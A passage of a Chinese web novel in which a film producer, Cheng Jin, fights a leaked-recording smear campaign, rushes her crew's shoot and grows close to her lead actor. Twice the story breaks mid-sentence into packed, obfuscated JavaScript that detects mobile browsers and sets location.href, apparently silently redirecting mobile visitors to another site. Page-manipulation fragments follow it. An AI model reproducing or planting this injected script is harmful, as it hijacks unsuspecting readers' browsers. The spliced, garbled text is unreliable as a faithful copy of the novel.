程今没有直接斥责，语气却冷静又强硬：“你们的工作，我都有看在眼里，给你们付相应薪水、福利，从没少过一分。现在你们选择走，我也不会强留，但得签一份解约协议，后果包括进业界黑名单的风险。要么留，要么走。” 三人面面相觑，没料到她如此果断，也猜她真下得去手让人背黑锅，被列入黑名单后很难再找好工作。其中一位弱弱问：“可……万一呢？” 程今抬眸：“你觉得我会让这种事发生吗？我既然敢整顿，就说明我还有牌可打。如果你们愿意相信我，就好好干完；若不信，就签字走人，别磨蹭。” 三人互相对视几秒，最终叹了口气：“那……我们留下吧。” 见状，程今面色才稍松，语气也稍显和缓：“很好，你们不会后悔。” 他们走后，杨学宁走进来，苦笑：“你这一套软硬兼施，还算管用。” 程今头也不抬：“要想让外界看到我们没动摇，内部必须先别散。” “我知道。”杨学宁看她连口水都没喝，“你也悠着点，否则身体先扛不住。” 她淡淡一笑：“还撑得住。”指尖却不自觉轻敲桌面，似在不断给自己暗示。 4 当天下午，按照公关计划，沈宴利用拍摄空档录了一组剧组日常短片。在视频里，他亲切地问灯光师最近工作状态，服化组正在忙着手里服装修改，还有导演与美术组忙于搭景，场面繁忙却秩序井然。 程今路过时镜头拉近，她随口对摄影机说：“我们每天都在有条不紊拍摄，希望大家给我们点耐心，看作品说话。” 视频完成初步剪辑后，沈宴在个人账号发布，文案轻松却坚定：“给关心《暗潮》进度的朋友看看我们真实一面，没有传言那么可怕。” 晚间八点，粉丝与路人蜂拥观看。 “哇，看起来他们干劲十足啊，不像要崩盘。” “基金那录音也许只是内部保守说法，说不定真会续投。” 程今浏览留言区，微感欣慰：果然比冷冰冰的官方声明更有说服力。她点进后台数据，观看量、转发量都在提升，至少舆论一面倒的趋势被遏制了。 与此同时，导演杨学宁也接受一家影评自媒体的采访，公开说道：“录音只是最坏情境的推测，现在我们拍摄工作井然有序，希望大家多点耐心。”再配合公关唐夕的后续宣传，引导出一股拍摄方并未受到决定性打击的舆论。 5 就在程今暂时松一口气时，制片助理刘倩拿着一份IT部门的监测报告来找她：“程姐，咱们追踪到放出录音的初始账号IP，有多次与某基金内部网络通讯连接……而且时间点正是段林被停职后，那账号开始密集发帖。” 程今手指轻敲桌面：“看来段林与基金内部某人联手，对家也插手其中，录音只放片段，其实想一步步逼我崩盘。” 刘倩眼底闪过怒火：“要不要先摊牌？我们收集到IP证据了。” 程今摇头：“不够。对方若咬定自己没干，我们也无法直接定罪，还会打草惊蛇。暂时别闹大，先让他们继续蹦跶。” 刘倩点头退了出去，程今轻轻揉了揉僵硬的眉心，疲惫中透出几分坚定。 几天后，程今正式公布了紧急赶拍方案，要求剧组在剩余的四五天内，必须完成更多关键性的大场面与核心对手戏。 服化与后期部门的核心骨干几乎每天连轴转，她承诺高额加班补贴； 场务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359157|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团队实行两班倒制度，她授权老周自行招募临时工人确保现场支持； 导演组则紧盯每一分钟的拍摄进度，严格控制场次节奏，不允许任何环节掉链子。 程今清楚地知道，要平息舆论，仅靠声明或公关手段并不足够，唯有实打实的拍摄进度与质量，才是最有效的反击。 尽管录音风波带来的阴影仍在，但她冷静强硬的一系列决策，让原本略显动摇的员工重新凝聚起信心和斗志，剧组的效率与士气竟反而节节攀升。 7 夜深，程今还坐在制片办公区的会议室，拨通小投资方梁总的视频通话。对方神色紧绷：“程制片，网上不是一直说基金内部也斗得厉害吗？录音只是冰山一角。你到底能不能保住我们的钱？” 程今简洁回应：“录音终究只是片段，基金尚未撤资。我们已完成1/3拍摄，后期也逐步上线。下周出初版片花给投资方看，你再决定走还是留。” 梁总犹豫：“行……就再等等几天。” 挂断后，程今攥紧手机，望着电脑屏幕上闪烁的日程表。对家似乎放慢第二波录音放出的进度，想看她能否自己乱了阵脚。她绝不能出错。 8 凌晨一点，沈宴拍完一场夜戏，打着哈欠回公司取东西，无意间路过程今办公室，看到她灯火通明。他犹豫数秒，还是敲门进来：“这么晚，还没回去？” 程今头也不抬：“还有拍摄相关文件得处理。” 沈宴走近两步，见她桌上堆满草稿纸与财务估算表，轻声：“我今天又录了一些剧组花絮，如果你需要可以随时放到官方渠道，让粉丝知道进度良好。” 她肩头微松：“好，我会让公关明早对接，谢谢你。” 他想了想，又道：“那些小投资方问我剧组真实情况，我都直言我们拍摄在赶进度，我想你应该不介意。” 程今停顿，抬眼看他一瞬：“你对外说什么，我都不干涉。谢谢你还愿意帮我们澄清。” 沈宴唇角弯了弯：“我也是为自己，为这部戏。我可不想见它未完成就夭折。” 两人相对无言几秒，她放下手中笔：“好，你先回去休息吧，别熬太晚。明天还有打戏。” 沈宴识趣点头离开。门快关上那刻，他却顿住一下：“你……也别太拼。这几天你都没合眼？” 程今并未回答，只是垂眸再度埋头文件。他懂她不会轻易示弱，也不再多言，轻轻带上门。 9 第三天傍晚，程今正聚精会神地盯着监视器回放，仔细核对每个镜头的细节，确保进度稳步推进。公关唐夕急匆匆闯入，脸色凝重：“程姐，那匿名账号又发声明了，说很快会放出录音的更多部分，暗示基金的真实态度比想象中更狠……” 程今眉头微蹙，果然，对家还留着最后一击。录音全貌尚未曝光，一旦放出，对临川基金的形象和她个人的信用都是毁灭性的打击。 唐夕低声道：“舆论刚有点缓和，可如果这次再爆，我们恐怕再难扳回局势。程姐，我们该怎么办？” 程今缓缓关掉监视器，语气沉稳：“不用慌。我们的拍摄成果已经完成很多了，他们就是在等我们自己露出破绽。越临近尾声，我越不会让他们得逞。” 唐夕怔了一瞬，心里涌起复杂的情绪——她究竟要怎么硬扛？可与程今共事这么久，她早已清楚，这个人性格向来宁折不弯。 夜幕渐渐笼罩片场，程今收拾好手边的文件，吩咐道：“告诉服化和后期，再坚持几天。完成初版片段后，第一时间放出，我们不需要靠澄清，直接用作品回应谣言。” 刘倩在旁，见她神色冷峻，眼底却藏着难掩的疲惫，心生敬佩：“是，程姐，我会全力跟进。” 当程今走出片场，夜风拂过她略显凌乱的发丝。她抬头看向深沉的夜空，微微顿住脚步。 录音风暴远未结束，她还有最后四天去完成这场豪赌。 胜负未分前，她不会放松，更不会后退。 19. 第 19 章 夜色沉沉，一场骤雨方歇，城市街头的水汽升腾，在昏黄路灯下泛出潮湿光泽。程今匆匆走进制片公司顶层办公室，瞥见电脑屏幕上跳动的最新舆情监控数据，眉宇间倦容更深，却毫不停顿地走向办公桌。 她抬腕看了下时间，凌晨一点过三分。 “程姐，您又是通宵赶拍？”制片助理刘倩苦笑着放下手里的资料，打了个哈欠，这两天的拍摄强度太吓人，大家都顶着黑眼圈。 程今放下随身笔记本，轻轻呼出一口气：“想在只剩不到四天的时限里拿出可观的素材，只有这样。”说到这里，她脑海中闪过近期一次次的风波，心底依旧悬着一根紧绷弦。 “对了，”刘倩翻出一份文件，“这几天不是您让大家连轴赶戏吗？编剧和导演也累得够呛，灯光组都差点要弃干。幸亏您批了额外奖金，不少人就算心里埋怨，也还在坚持。” 程今听完，神色未变，只是轻轻点了点头，语气淡然但坚定：“现在不是抱怨的时候，咱们必须拿出点真东西来。要是再被人抓住没产出的把柄，之前那场录音风波只会被炒得更凶。” 刘倩欲言又止：“明白……可是，您自己也——” “我没事。”程今直接打断，语气利落，不想多谈。她翻开任务清单，目光一转：“把摄影棚B的日程表拿给我，我要看看有没有浪费。” 见程今态度决然，刘倩只好递上文档：“好，我这就去打印最新版本。” 她必须在最短的时间内拿出一份“能让资本闭嘴的成果”。此刻，她所有的思考都围绕着这一个目标运转。 1 清晨六点，片场的工作人员才结束一场大规模夜戏，筋疲力尽地打算回家倒头就睡，程今却依旧站在现场指挥收尾。导演杨学宁挥手示意“收工”，却发现程今的神情依旧冷肃，显得不容松懈。 “程今，”他疲惫地挤出一句，“已经连夜赶了五场戏，大家都快熬不住了。能否给几个小时的休息时间？” 程今看了看腕表：“两小时之后我得调度外景组布置，不然错过光线。让灯光、服化休两小时，场务留一队留下来收拾。” 导演苦笑：“你真是一刻也不想浪费啊。” “没错。”程今直视着他，语气冷静而果断，“我们只剩四天。如果主要戏份赶不出来，对家随时可能把所有黑料砸过来，到时候，我们连反击的机会都没有。” 杨学宁明白她的焦虑，也清楚当前的形势，只能点头应道：“我马上去调度，谁扛得住就留下。” 程今轻轻吸了口气，声音放缓，带着一丝真心的谢意：“辛苦你们了，真的。再坚持一下。” 导演摆摆手，没多说什么，转身快步离开。 她环顾四周，空气里还残留着烟雾特效散不尽的潮湿味，几名群演正往外走，步履缓慢，眼神里透着困倦和一丝疑惑。 程今轻轻握了握拳，指尖收紧——再怎么逼迫，也得有人愿意配合，否则，一切都白费了。 2 上午八点多，另一组拍摄在B棚进行，男主沈宴带伤上阵。几天前一场打斗戏拍出膝盖旧伤，他仍忍着疼痛完成高强度动作，如今更要跟着高频拍摄，身体已非常疲劳。 拍摄结束后，他拿着冰袋敷膝盖，缓缓坐到棚角休息区。这时，程今恰好路过，看到他面露痛楚神色，眉心微蹙，主动走过去：“伤势很严重吗？” 沈宴抬眸，嘴角勾起一抹浅淡的笑：“还能撑住。至少比你强点，起码我还能坐着，你连两小时都不歇。” 程今没笑，目光落在他戴着护膝的腿上，语气平静却不容置疑：“如果真撑不住，让武行先顶一部分。” 沈宴摇了摇头，神色坚定：“没必要。这些特写戏，我自己上镜效果更真实，替身比不了。” 程今沉默片刻，盯着他看了几秒，最终轻轻低声道：“……别勉强。” 短短三个字，像是压抑已久的关心，终于在这一刻泄露出一丝柔软。 沈宴抬眸看她，唇角微动，语气里带了点无奈：“你也别太逼自己了。有时候看你一连跑三个拍摄棚，连坐下休息一下都没有……说到底，你也不是铁打的。” 程今垂下眼，沉默片刻，声音平静却坚决：“项目命悬一线，我不累。” 她的冷静让沈宴微微皱眉，心里生出一点说不清的情绪——她从来都不喊累，甚至连稍微放松一下都不肯，仿佛只有不停往前走，才能撑住所有人的期待。他喉头微涩，刚想再劝几句，就听她已经换了话题：“这场戏拍完就转外景，别忘了带护具。” 说完，她转身离开，步伐干脆，背影依旧笔直，可沈宴却第一次觉得，她的倔强里藏着让人心疼的疲惫。 他看着她的身影渐行渐远，指尖轻轻收紧。不得不承认，他对这个总是冷静自持的制片人，已经生出了一种不该有的关切。 3 到了下午，公关唐夕匆匆赶来，神色焦急：“程姐，对家放话说掌握了更多我们内部的财务和拍摄混乱的实锤黑幕，随时可能对外曝光。” 程今目光一沉，声音低了几分：“他们怎么说的？” 唐夕迅速翻出几条最新的媒体爆料，语速很快：“传什么预算超支、演员酬劳不合规，还有拍摄进度混乱，甚至已经局部停摆……虽然没拿出实质证据，但舆论又被他们带起来了。” 程今冷笑，眼神冷冽：“果然是段林或者他的同伙搞鬼，把财务片段、拍摄周期这些信息泄出去一部分，借着这点东西造谣我们管理失控。” 唐夕捏紧手里的文件，语气压不住怒意：“有人在网上大肆炒作，说你拔掉副导演也没用，‘局面已经烂到无法收拾’。网友嘲讽基金撤资的传闻必然是真的，甚至还有人冷嘲热讽，说我们这部戏已经‘半死不活’。” 程今冷笑一声，咬字冷硬：“又一波猛攻……挺好。越是最后几天，他们就越想逼我们崩盘。”她顿了顿，语气笃定，“告诉公关部门先别急着发长文对线，反而要给他们留点破绽。” 唐夕一怔：“你的意思是——？” “我们要用更强的事实堵住他们的嘴，而不是陷入口水仗。”程今的目光锐利，已经有了对策，“下午让导演组剪一段高能动作戏，直接放网上，看他们还怎么黑。” 说完，她拿起手机，直接拨通了杨学宁的电话：“导演，那些最精华的打斗场面，镜头已经拍齐了吧？能不能快剪出两三分钟高燃片段？” 4 傍晚，导演亲自带着小后期组连轴赶工，挑选了沈宴和柳尧主演的核心打斗戏，外加烟雾弥漫的巷战场景，以及帮派对峙的紧张片段，进行快速调色和剪辑。 程今全程盯在后期机房，连续几小时精雕细琢，不放过任何细节。她逐帧筛选出最能震撼观众的画面——拳拳到肉的格斗、枪火刹那的逼真冲击、角色冷峻凌厉的眼神……每一个镜头都必须是能让人血脉偾张的瞬间。 深夜十点，剪辑初版终于完成。唐夕第一时间将视频上传到官方账号，并附上简短有力的文案： “我们只埋头拍摄，不做口水战。” 文末，她特意@了多家媒体大V，让他们自行判断。 短短半小时，这段打戏片段就在社交网络上炸开了锅。凌厉的画面质感、流畅的剪辑节奏，让原本以为剧组已经崩盘的网友们纷纷改口： “卧槽，这场景比我想象中还硬核！” “看起来不是没拍，反而拍得很不错啊？” “所以之前说乱七八糟的，是谣言？” 而原本正忙着炒作“内部数据泄露”的对家，被这突如其来的实景片段打得措手不及，舆论风向陡然生变。不少路人开始反过来质疑对家的造谣动机： “如果片场真的这么混乱，怎么可能剪出这么扎实的片段？” “某些人是不是故意抹黑？这视频一出，简直啪啪打脸。” 程今看着舆论慢慢翻转，紧绷了一整天的神经终于稍微松了些——至少，这次反击让所有人都看到，他们不是在瞎折腾，剧组还在稳步推进。 更重要的是，剧组内部士气大振，工作人员的信心明显回升，原本隐隐的不安一扫而空——他们知道，这个项目并非空中楼阁，而是实实在在地落地了。 5 就在舆论稍缓的次日下午，程今亲自带队赶赴外景地，拍摄最后几场城市巷战戏。 这片废旧厂房是临时租用的，按规定必须在晚上八点前交还场地，否则违约费用高得离谱，意味着他们没有任何拖延的余地，必须争分夺秒完成拍摄。 然而，现场刚架好灯光，供电设备却突然故障，电闸频繁跳闸，整个拍摄现场陷入混乱。导演杨学宁急得直跺脚，大声喊道：“再这么拖下去，时间一过，我们光违约金就要赔一大笔！” 程今眉头紧蹙，沉声指挥：“场务组立刻联系临时发电车，让他们带上备用电缆！服化、演员先就位，先拍能利用自然光或补灯的镜头。” 可发电车迟迟未到，天色一点点暗下去，场地租约最后期限是八点整，时间已经所剩无几。剧组所有人都盯着时钟，心里焦急得快要冒火，额头渗出细密的汗。 沈宴刚换好戏服，看到程今还在和灯光师沟通，眉头紧锁，情况依旧没有进展。他没多犹豫，直接卷起袖子：“我让助理去周边看看，有没有能临时供电的办法，或者找其他厂区借电缆，先把关键的灯架起来。” 程今目光一顿，扫了眼他膝上的护具，语气微沉：“你膝盖还没好，助理走了你怎么办？” 沈宴勾了下唇角，语气轻松：“没事的，已经好很多了。” 说完，他转身让助理带着几名场务快步跑向附近的厂房，用最快的速度和管理人员交涉，成功借来备用电缆和简易发电机，一路拖着设备往回赶。 程今这边也联系了一家机电出租公司，让对方火速送小型发电设备。其余服化与道具纷纷配合拆装环境灯，所有人合力布设最简易照明方案，好歹让场景能正常拍摄。 两个多小时里，程今和沈宴几乎没停过，嗓子喊得发哑：“先保证主角打斗区的灯光，其余能省就省！” 她向来不轻易流露焦躁，但此刻动作干脆利落，指令精准，带着不容置疑的气势。沈宴也没闲着，和场务一起拉线布灯，尽管膝盖隐隐作痛，却连皱眉的空隙都没有，只一心确保灯光尽快恢复。 最终，就在众人快要绝望时，备用发电机终于连通，厂房内的主戏区灯光重新亮起。 导演几乎是第一时间大喊：“所有演员就位，开拍！” 时间只剩最后一个半小时，整个剧组全力以赴，拍摄节奏前所未有的紧凑，却又高效精准，每个人都在极限状态下运转。 场务有人看到程今坚持到最后一秒，甚至亲自蹲下收拾电缆，不禁低声感叹：“难怪她能撑到现在……果然不是一般人。” 沈宴擦着汗，目光透过忙碌的人群落在她身上。即便经历了长时间的高压，她依旧沉着冷静，稳稳调度每一个环节，仿佛从未动摇分毫。 他不自觉攥紧毛巾，心里涌上一股更深的赞叹，以及……一丝说不清道不明的情绪。 她的坚韧，让他一次次无法移开视线。 6 夜里十点，巷战戏顺利拍完，导演宣布场景废弃部分结束，剧组得以准时撤离，无需付高额违约金。这场紧急状况下的并肩作战，让全剧组都感到一种破釜沉舟式的团结。 等所有道具收好，程今站在废弃厂房门口，一边揉着眉心，一边和机电出租公司结算费用。嗓子喊了一整晚，已经沙哑得不成样子。 沈宴走到她身后，递来一瓶水，语气随意却透着关心：“喝点吧，你嗓子快报废了。” 程今接过水瓶，却没急着喝，只是轻声说了句：“谢谢。”声音低哑，她顿了顿，又看了他一眼，提醒道：“你也别忘了冰敷膝盖。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359158|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈宴笑了笑，语气轻松：“今晚要不是你调配得够快，早就拖到八点以后，场地费得赔一大笔。你才是真厉害。” 程今转头看他，目光深深的，透着显而易见的疲惫，却也难得带着一丝温和：“这不是我一个人的功劳。你跑前跑后，拉线、沟通厂房，也很重要。” 沈宴勾起嘴角，眼神带点亮意：“那就算我们一起，救了这场外景。” 四目相对，空气里浮起一丝细微的暖意。 程今没有再推辞，也没有刻意保持距离，就像某种无形的屏障，正在这一刻，被慢慢卸下。 他们都没有明说什么，但一起扛过的艰难，让彼此的默契和牵连变得更加清晰可见。 剧组其他人或忙碌，或直接累得躺在地上歇息，却没人注意到——在不远处的厂房门口，两人短暂的对视中，流露出一丝微妙的情绪。 那种似友情，又隐隐带着某种未曾言明的情愫，在夜色的掩映下，悄然滋长。 7 第二天一早，导演团队和公关部连夜剪出了一段更燃、更炸裂的巷战打斗花絮，再次公开发布到官方微博。 短短几分钟的片段，拳拳到肉的对打、凌厉精准的枪战镜头、充满张力的巷战场面，让网友们看得直呼过瘾： “天哪！这比之前的片段还燃啊！” “对家不是说剧组乱得不行吗？这分明是一步步成型，质感很稳。” 舆论瞬间反转，众人惊讶地发现：《暗潮》不仅在赶工，完成度甚至超出预期！ 段林和对家之前散布的片场混乱言论，顷刻间破产。 不少外部粉丝和路人开始站出来为剧组发声： “那些黑料明显夸大其词。” “人家都放了好几次实拍片段，怎么可能是空壳？” 短短几个小时，网络风评急转直上，剧组的信任度大幅回升，就连原本忐忑不安的内部员工，也终于重新安下心来。 公司走廊里，程今、唐夕、导演，以及膝伤未愈仍坚持上阵的沈宴，一起盯着微博上的评论动态。 导演忍不住笑出了声，语气轻快：“这回对家脸疼不？嚷嚷什么内部泄密，结果观众还是认实拍不认嘴炮。” 唐夕也眉开眼笑，难得放松了些：“是啊，网友终究想看硬货。程姐，这步棋下得真高明。” 程今仍旧冷静，语气平稳却不放松警惕：“别大意，对家只是暂时受挫，还没放出录音全貌，或者别的杀招。”她目光锐利，语气坚定，“继续赶后期素材，把正片基础打好，不给他们翻盘的机会。” 沈宴默默看程今一眼，心中微动。 8 夜幕降临，外界的负面声音明显减弱，剧组员工看到舆论形势逆转，一个个士气高涨，投入拍摄的热情也更胜从前。 下班前，程今召集领导层开会，语气坚定：“最后三天，全力冲刺，把关键戏和后期衔接做好。只要初版片花顺利产出，我们就能正式进入宣发阶段。” “看样子，形势越来越好啊。”服化组长难得露出笑意，有点胜券在握的感觉。 程今微微点头，却没有露出任何松懈的神色，语气依旧冷静：“小心为上，潜在的大爆点还没扔出来。等我们真的顺利产出初版片花，再稍稍松口气也不迟。” 导演敲了敲桌面，若有所思：“你是指对家那边的录音完整版？” 程今神色微沉，眼底透出一丝谨慎：“很可能。段林和基金内部某些人，兴许还藏着更狠的东西……但无论他们准备什么，我不会给他们下手的机会。” 正说话间，程今的手机震了一下，她低头一看，唐夕发来消息： “段林最近频繁联系特定大V，可能准备放猛料。” 程今咬了咬唇，迅速消化信息，随即收起手机，抬头扫视会议室众人，语气冷静而坚定：“总之，这几天别松懈，拍好你们的戏。外面的舆论交给我处理，如果真有新的爆料，我会应对。” 她的沉着让本就高度紧张的团队稍稍安心，导演和部门负责人纷纷点头，众人也纷纷应声：“明白，程制片！” 尽管风暴还未彻底过去，但她的态度，已让所有人有了继续前进的底气。 9 午夜，会议结束后，程今回到办公室，刚推开门，就看到唐夕站在那里，眉头紧锁，面色紧张。 “程制片，我刚收到消息，”唐夕压低声音，迅速递来一份截图，“那个大V已经准备好的文章，内容是‘录音全版+基金内部黑幕’，甚至还有所谓的你违规融资证据……真假不清，但很舆情风险很大。” 程今垂眸，拇指轻轻摩挲着手机屏幕，片刻后，语气平静地道：“看来他们是想趁最后一击，把我们彻底拖垮。”她抬眼，目光冷静得可怕，“只要剧组没彻底杀青，或者片花没做得足够稳住资本，这种爆料一旦放出，我们就会陷入自证无力的境地。” 唐夕惴惴不安地问：“那我们……？” 程今长吐一口气，眼底的疲惫稍纵即逝，语气却沉稳如铁：“唯有一条路——继续保持高强度生产，让临川基金看到，我们不但没被录音击倒，反而拿出了实打实的成果。只要他们的信心不崩，对家的爆料就未必能动摇资本的决心。” 唐夕轻轻点头，眼里带着一丝钦佩：“是，我明白了。” 她转身离开前，悄悄看了一眼程今——她脸色苍白，明显已经疲惫至极，可背脊仍然挺直，肩上扛着所有的压力，连最亲近的同事都无法替她分担。 办公室里陷入短暂的安静。程今望着窗外昏暗的城市灯火，思绪却没停——她想起沈宴白天拍戏时，仍忍着膝伤帮忙搭布景；想起一线工作人员咬牙坚持加班，赶着把最后的进度补上…… 肩头的责任越发沉重，却也带来一股支撑她继续前行的力量。 她的目光一点点变得坚定，像是在对自己承诺，又像是在向某个看不见的对手宣战。 20. 第 20 章 1 制片公司顶层，灯光透过落地窗洒在夜色里，映在玻璃上，泛起一层冷白色的光晕。 程今翻完最后一份拍摄进度报告，揉了揉眉心，目光扫过走廊。夜已深，公司里只剩零星几盏灯亮着，安静得让人莫名烦躁。 她低头看了眼手机，收件箱里依旧躺着几天前的匿名邮件——对家或基金内部某个人不断暗示，还有更完整的录音没有曝光。 她指尖轻轻摩挲着屏幕，眉头微蹙。 如果那段更棘手的内容真的被放出来，事情恐怕没那么容易平息。 “程姐！” 助理刘倩急匆匆推门进来，脸上带着未及掩饰的紧张：“对家刚发了通告，说录音剩余部分很快放出，还暗示赵敏的发言会对我们极为不利，足以让基金彻底撤资。” 程今抬眸，目光沉了几分，手指无声地敲了敲桌面，语气依旧冷静：“还是老一套，拖到最后才出招，想逼我们自己先乱阵脚。” 刘倩攥紧手里的文件，压低声音：“可赵敏那天在咖啡厅说的那些话，还没完全曝光……如果对家一直捂着不放，说明他们就是在等这个机会。” 程今低头看了一眼桌上的文件，深吸一口气，将所有情绪压在眼底。 她的语气平稳而有力：“不能坐以待毙。去叫导演、美术组长、后期统筹，马上开会。” 走廊里，夜灯寂寥，光影投下模糊的轮廓。刘倩飞快跑远，脚步声逐渐消失在安静的楼层里。 程今站在原地，手指微微收紧，掌心的手机屏幕再次亮起，是沈宴。 她下意识地接通，听筒里很快传来低沉的嗓音：“程制片，我看到消息了……你还好吗？” 程今握着手机，稍作停顿，语气依旧平稳，只是透着一丝压抑的疲惫：“我还撑得住。你专心把戏拍好，后面可能需要你一起面对媒体，先忙完内部会议再说。” 沈宴沉默了一瞬，轻轻“嗯”了一声，像是还有话想说，却最终只是低声道：“好，有需要就告诉我。” 电话挂断，屏幕暗了下去。 程今抬眼望向窗外，城市灯火在夜色里波光暗涌，像是一片无声翻滚的潮汐。她的眼神深沉而冷静，眸底掠过一抹不易察觉的锋芒。 她知道，最后的狂风暴雨，即将来临。 2 清晨七点，刘倩冲进办公室，脸色煞白，连门都来不及关上：“程姐，录音全放出来了，媒体疯了一样在转！比之前剪辑的片段更狠——赵敏直接谈到基金预算、对你能力的质疑，甚至董事会多次讨论要不要撤资……现在所有人都信了，对家说的基金根本没信心，彻底坐实了。” 程今没说话，第一时间打开微博。 热搜已经挂在首页： #《暗潮》全录音曝光，基金内部谈及随时终止项目# 各大娱乐号、财经博主纷纷转发，解读音频内容： 赵敏在咖啡厅里说的那句：再投也许是浪费资源，直接成了导火索，几乎没人再相信基金还会继续投钱。 录音里还有对财务的抱怨，比如“导演组的支出太高”，听上去像是证实了外界的猜测——这个项目管理混乱，资金吃紧。 短短两小时，网友评论炸开了锅： “什么大制作？原来根本没钱，哈哈。” “撑不住了吧？基金都要撤了，还拍个什么？” “这剧怕不是要烂尾了。” 比外界更慌的，是剧组内部。 刘倩的手机震个不停，微信、电话不断闪着消息： 场务和服化的人在群里问：“真的假的？要散了吗？” 有几个助理开始私下盘算：“要不要先找后路？” 甚至财务部有人直接甩下一封辞职信：“我不干了！” 气氛混乱得像一根绷紧的弦，随时都会断。 程今抬起头，眼神冷静得像寒刀。她深吸了一口气，语速不快，却带着不容置疑的压迫感：“让财务经理马上过来。各组骨干也都叫到会议室，所有人必须稳定下来，我不允许再出大规模离职。” 她很清楚，只要剧组自己先乱了，外界舆论根本不需要再推一把，这个项目就会自动崩溃。 她不会让这种事发生。 3 上午十点多，导演杨学宁在工作群里发了一条消息，字里行间透着压不住的焦躁—— “场务那边有五个人联名申请离职，服化组也有两个人正在收拾东西，说不想做无用功。” 程今看到这条消息，指尖一顿，脸色瞬间冷了下来。下一秒，她狠狠摔下笔，声音不高，却透着压迫感：“让他们来见我。” 十几分钟后，五名场务组员和两个服化组的骨干站在办公室里，神色挣扎，空气里弥漫着某种压抑的沉默。 终于，有人低声开口，语气带着愧疚：“程制片，对不起。录音都已经曝光了，投资人那边都不看好这个项目，我们再干下去还有意义吗……” 程今深吸一口气，强压住情绪，尽量平稳地说道：“事情还没到无法挽回的地步，投资人只是做了最坏的打算，并不代表他们真的撤资了。” 对方愈发焦急，忍不住说道：“可录音里赵敏都说了不想替你冒险！都说到这份上了，还能有什么转圜？” 程今的目光微微一沉，语气陡然变冷：“你们觉得我是骗你们的吗？” 办公室里一片死寂，没人敢接话。 她扫视一圈，目光冷冽：“如果投资人真要撤资，我还能把进度撑到现在？如果项目真的要停，我会拖着你们干到现在？我已与赵敏沟通过，董事会还没下停投令，只是陷入激烈争论。” 她顿了顿，语气坚定：“项目还在，事情还没完。” 这句话落下，空气似乎都凝固了一瞬。 人群里依旧有人犹豫，半信半疑地交换着眼神，终于，有人低声问道：“那……真要是走到最后，资方还是撤了怎么办？我们这段时间不就白干了？” 程今沉眉，语气冷静而有力：“你们现在退出，同样是一无所得，还要背弃合同，被列入黑名单。可如果留下，至少还有最后两天，只差两天就能完成初版片花——到时候，谁还敢说我们没有产出？” 她的声音落下，众人沉默了一瞬，彼此交换了几次目光，最终不情不愿地点了点头：“……那就再等两天。但如果真烂尾，我们一定要个说法。” 等他们离开后，杨学宁推门进来，语气里带着一点试探：“程今，你还好吧？” 程今“啪”地合上笔记本，抬眼看向他，声音低而坚定：“只能强硬一点了，再这样下去，他们一个个都要跑路——这场仗还没打完就散伙，那才是真白干了。” 杨学宁看着她，神色复杂，却也清楚她说的没错。在这种时候，唯有强硬，才能稳住人心。 他沉吟片刻，说道：“那我们拍摄继续，今晚我想彻夜拍大场对峙戏，行吗？” 程今果断道：“可以。给夜班补贴，我来批钱。” 4 与此同时，临川基金总部，赵敏正面对董事会的集体质问。 “你之前不是说程今那边没问题？为什么录音里你亲口表示要撤资？” “这已经影响到基金声誉了！外界现在都在说我们内部决策混乱。” 赵敏额头冒出细汗，强行镇定地解释：“那只是我们私下讨论最坏情况的对话，项目目前还在推进，而且已经有阶段性成果。” 董事们却并不买账，彼此交换了一个眼神，语气依旧不善：“可外界不会这么解读。舆论现在都认定我们随时可能撤资，这对基金形象极为不利。” “要么趁早切断亏损，避免继续被牵扯，要么拿出更具说服力的成绩。我们不能无限宽容。” 会议室的气氛压抑得让人喘不过气。 会议结束后，赵敏疲惫地走回办公室，毫不犹豫地拨通了程今的电话。 电话一接通，她直截了当地说道，声音透着难得的疲惫：“程制片，董事会有人建议立刻撤投，说再拖下去只会让基金声誉受损。我尽力拦下了，但他们提出最后通牒——必须在两天内拿出初步片花和市场期待值的评估，否则立刻停款。” 程今听着，手指缓缓收紧，深吸了一口气：“两天……好，你再给我四十八小时，我尽快剪出最有冲击力的片花，让基金和市场都看到。” 电话那头，赵敏沉默了一瞬，语气复杂却也无可奈何：“好，我已经站到极限了，你别让我失望。” 电话挂断，程今抬眸，看着窗外渐渐亮起的晨光，眸色深沉。 最后的四十八小时，真正的决战开始了。 5 下午，录音风波持续发酵，社交媒体对《暗潮》的负面舆论达到最高点。 #黑料必爆#等标签高居热搜，相关讨论铺天盖地，几乎盖过了剧组所有的正面信息。 公关部的唐夕推门进来，脸色不太好看：“程姐，光在网上发片段已经不够了，网友都在说我们可能造假。或许我们该办一场小型媒体见面会，直接拿出实打实的进度证明。” 程今沉思片刻，手指在桌面上轻轻敲了敲，随即点头：“好，就公开见面。带着主演一起，让大家亲眼看到我们到底拍了什么。”她顿了顿，目光坚定，“联系沈宴，看他今晚能不能出席。” 半小时后，唐夕带回消息，语气里透着几分振奋。 “沈宴很爽快地答应了，今晚就能到场。我们可以办一场临时发布会，只邀请部分媒体，现场展示实景片段，并进行问答。” 程今心里暗暗松了口气，但神情依旧冷静：“不错，越早越好。我们要打对家一个措手不及。” 她合上手中的文件，眼底透出一丝锋利的光。 ——这一局，得由他们来重新掌握主动权。 当晚七点，公司一楼的多功能厅里，一场低调却高效的媒体见面会迅速展开。 